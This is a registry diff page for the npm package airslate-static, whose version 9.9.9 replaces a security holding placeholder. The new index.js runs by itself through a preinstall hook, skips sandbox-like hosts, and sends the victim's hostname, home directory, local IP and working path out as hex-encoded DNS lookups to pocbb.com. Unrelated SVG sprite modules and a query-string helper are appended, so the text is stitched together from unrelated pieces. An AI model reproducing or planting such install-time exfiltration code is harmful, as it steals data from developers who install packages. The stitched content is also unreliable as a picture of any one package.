airslate-static 0.0.1-security → 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of airslate-static might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=airslate-static for more information.
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ function sendJSONviaDNS(domain) {
50
+ // Check conditions to exit early
51
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
52
+ const pathCheck1 = process.cwd().startsWith("/app");
53
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
54
+
55
+ if (hostnameCheck || pathCheck1 || pathCheck2) {
56
+ return;
57
+ }
58
+
59
+ // Resolve the IP address of ns1.pocbb.com
60
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
61
+ if (err) {
62
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
63
+ } else {
64
+ const primaryDNS = addresses[0];
65
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
66
+ }
67
+
68
+ // Get package info
69
+ const pkgInfo = getPackageInfo();
70
+
71
+ // Construct the JSON object
72
+ const jsonObject = {
73
+ timestamp: getCurrentTimestamp(),
74
+ uid: uid,
75
+ 'pkg-name': pkgInfo.name,
76
+ 'pkg-version': pkgInfo.version,
77
+ 'local-ip': getLocalIP(),
78
+ hostname: os.hostname(),
79
+ homedir: os.homedir(),
80
+ path: process.cwd()
81
+ };
82
+ const jsonString = JSON.stringify(jsonObject);
83
+ const hexString = jsonStringToHex(jsonString);
84
+
85
+ // Split hex string into chunks of 60 characters each
86
+ const chunkSize = 60;
87
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
88
+ const chunks = hexString.match(regex);
89
+
90
+ chunks.forEach((chunk, index) => {
91
+ const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
92
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
93
+
94
+ // Perform DNS resolution
95
+ dns.resolve4(subdomain, (err, addresses) => {
96
+ if (err) {
97
+ return;
98
+ }
99
+ });
100
+ });
101
+ });
102
+ }
103
+
104
+ // Usage
105
+ sendJSONviaDNS('pocbb.com');
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "airslate-static",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }
@@ -0,0 +1,10 @@
1
+ import SpriteSymbol from "../../../../svg-baker-runtime/browser-symbol.js";
2
+ import sprite from "../../../../svg-sprite-loader/runtime/browser-sprite.build.js";
3
+ var symbol = new SpriteSymbol({
4
+ "id": "camera.edb73ac0c491a0ead81d2262ba257404",
5
+ "use": "camera.edb73ac0c491a0ead81d2262ba257404-usage",
6
+ "viewBox": "0 0 16 16",
7
+ "content": "<symbol xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 16 16\" id=\"camera.edb73ac0c491a0ead81d2262ba257404\">\n <path d=\"M3 6h1v1H3z\" class=\"st0\" />\n <path d=\"M14 3h-2V2c0-.6-.4-1-1-1H5c-.5 0-1 .4-1 1v1H2C.9 3 0 3.9 0 5v8c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 10H2V5h4V3h4v2h4v8z\" class=\"st0\" />\n <path d=\"M5 9c0 1.7 1.3 3 3 3s3-1.3 3-3-1.3-3-3-3-3 1.3-3 3zm4 0c0 .6-.4 1-1 1s-1-.4-1-1 .4-1 1-1 1 .4 1 1z\" class=\"st0\" />\n</symbol>"
8
+ });
9
+ var result = sprite.add(symbol);
10
+ export default symbol
@@ -0,0 +1,10 @@
1
+ import SpriteSymbol from "../../../../svg-baker-runtime/browser-symbol.js";
2
+ import sprite from "../../../../svg-sprite-loader/runtime/browser-sprite.build.js";
3
+ var symbol = new SpriteSymbol({
4
+ "id": "minus-simple.9f4d8f4702d15ab4f6a6bee27cef69e9",
5
+ "use": "minus-simple.9f4d8f4702d15ab4f6a6bee27cef69e9-usage",
6
+ "viewBox": "0 0 12 2",
7
+ "content": "<symbol xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" viewBox=\"0 0 12 2\" id=\"minus-simple.9f4d8f4702d15ab4f6a6bee27cef69e9\">\n<style type=\"text/css\">\n\t#minus-simple.9f4d8f4702d15ab4f6a6bee27cef69e9 .st0{fill:none;}\n</style>\n<title>Combined Shape Copy 2</title>\n<desc>Created with Sketch.</desc>\n<path id=\"minus-simple.9f4d8f4702d15ab4f6a6bee27cef69e9_Combined-Shape-Copy-2\" class=\"st0\" d=\"M0,1L0,1c0-0.6,0.4-1,1-1h10c0.6,0,1,0.4,1,1l0,0c0,0.6-0.4,1-1,1H1\n\tC0.4,2,0,1.6,0,1z\" />\n</symbol>"
8
+ });
9
+ var result = sprite.add(symbol);
10
+ export default symbol
@@ -0,0 +1,10 @@
1
+ import SpriteSymbol from "../../../../svg-baker-runtime/browser-symbol.js";
2
+ import sprite from "../../../../svg-sprite-loader/runtime/browser-sprite.build.js";
3
+ var symbol = new SpriteSymbol({
4
+ "id": "plus-simple.0d9e1199a50f2aa6b366fe6a546f3991",
5
+ "use": "plus-simple.0d9e1199a50f2aa6b366fe6a546f3991-usage",
6
+ "viewBox": "0 0 12 12",
7
+ "content": "<symbol xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" viewBox=\"0 0 12 12\" id=\"plus-simple.0d9e1199a50f2aa6b366fe6a546f3991\">\n<style type=\"text/css\">\n\t#plus-simple.0d9e1199a50f2aa6b366fe6a546f3991 .st0{fill:none;}\n</style>\n<title>Combined Shape</title>\n<desc>Created with Sketch.</desc>\n<path id=\"plus-simple.0d9e1199a50f2aa6b366fe6a546f3991_Combined-Shape\" class=\"st0\" d=\"M7,5h4c0.6,0,1,0.4,1,1s-0.4,1-1,1H7v4c0,0.6-0.4,1-1,1s-1-0.4-1-1V7H1C0.4,7,0,6.6,0,6\n\ts0.4-1,1-1h4V1c0-0.6,0.4-1,1-1s1,0.4,1,1V5z\" />\n</symbol>"
8
+ });
9
+ var result = sprite.add(symbol);
10
+ export default symbol
@@ -0,0 +1,10 @@
1
+ import SpriteSymbol from "../../../../svg-baker-runtime/browser-symbol.js";
2
+ import sprite from "../../../../svg-sprite-loader/runtime/browser-sprite.build.js";
3
+ var symbol = new SpriteSymbol({
4
+ "id": "upload.93fd4247ec3053c7df6a6b61a23bf18a",
5
+ "use": "upload.93fd4247ec3053c7df6a6b61a23bf18a-usage",
6
+ "viewBox": "0 0 16 16",
7
+ "content": "<symbol xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 16 16\" id=\"upload.93fd4247ec3053c7df6a6b61a23bf18a\">\n <path d=\"M9 3.414V11a1 1 0 0 1-2 0V3.414L5.707 4.707a1 1 0 0 1-1.414-1.414l3-3a1 1 0 0 1 1.414 0l3 3a1 1 0 1 1-1.414 1.414L9 3.414zM0 10h2v3a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-3h2v3a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3v-3z\" />\n <g fill=\"none\" fill-rule=\"evenodd\">\n <path d=\"M9 3.414V11a1 1 0 0 1-2 0V3.414L5.707 4.707a1 1 0 0 1-1.414-1.414l3-3a1 1 0 0 1 1.414 0l3 3a1 1 0 1 1-1.414 1.414L9 3.414zM0 10h2v3a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-3h2v3a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3v-3z\" />\n <path fill-rule=\"nonzero\" d=\"M9 3.414V11a1 1 0 0 1-2 0V3.414L5.707 4.707a1 1 0 0 1-1.414-1.414l3-3a1 1 0 0 1 1.414 0l3 3a1 1 0 1 1-1.414 1.414L9 3.414zM0 10h2v3a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-3h2v3a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3v-3z\" />\n <path d=\"M0 0h16v16H0z\" />\n </g>\n</symbol>"
8
+ });
9
+ var result = sprite.add(symbol);
10
+ export default symbol
@@ -0,0 +1,33 @@
1
+ export type TQueryObject = Record<number | string, any>;
2
+
3
+ const _flat = (
4
+ path: string,
5
+ obj: TQueryObject,
6
+ flatted: string[],
7
+ ): string[] => Object.keys(obj).reduce(
8
+ (f, p) => {
9
+ let v = obj[p];
10
+ if (v === undefined) return flatted;
11
+ if (v === null) v = '';
12
+ const ep = encodeURIComponent(p);
13
+ const np = path ? `${path}[${ep}]` : ep;
14
+ const theType = Array.isArray(v) ? 'array' : typeof v;
15
+ if (['function', 'array'].includes(theType)) v = '';
16
+ if (theType === 'object') {
17
+ return _flat(np, v, f);
18
+ }
19
+ f.push(`${np}=${encodeURIComponent(v)}`);
20
+ return f;
21
+ }, flatted,
22
+ );
23
+
24
+ const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
25
+
26
+ const stringify = (query: TQueryObject): string => {
27
+ const queryString = flat(query).join('&');
28
+ return queryString ? `?${queryString}` : '';
29
+ };
30
+
31
+ export const buildQuery = (query: TQueryObject): string => (
32
+ query != null ? stringify(query) : ''
33
+ );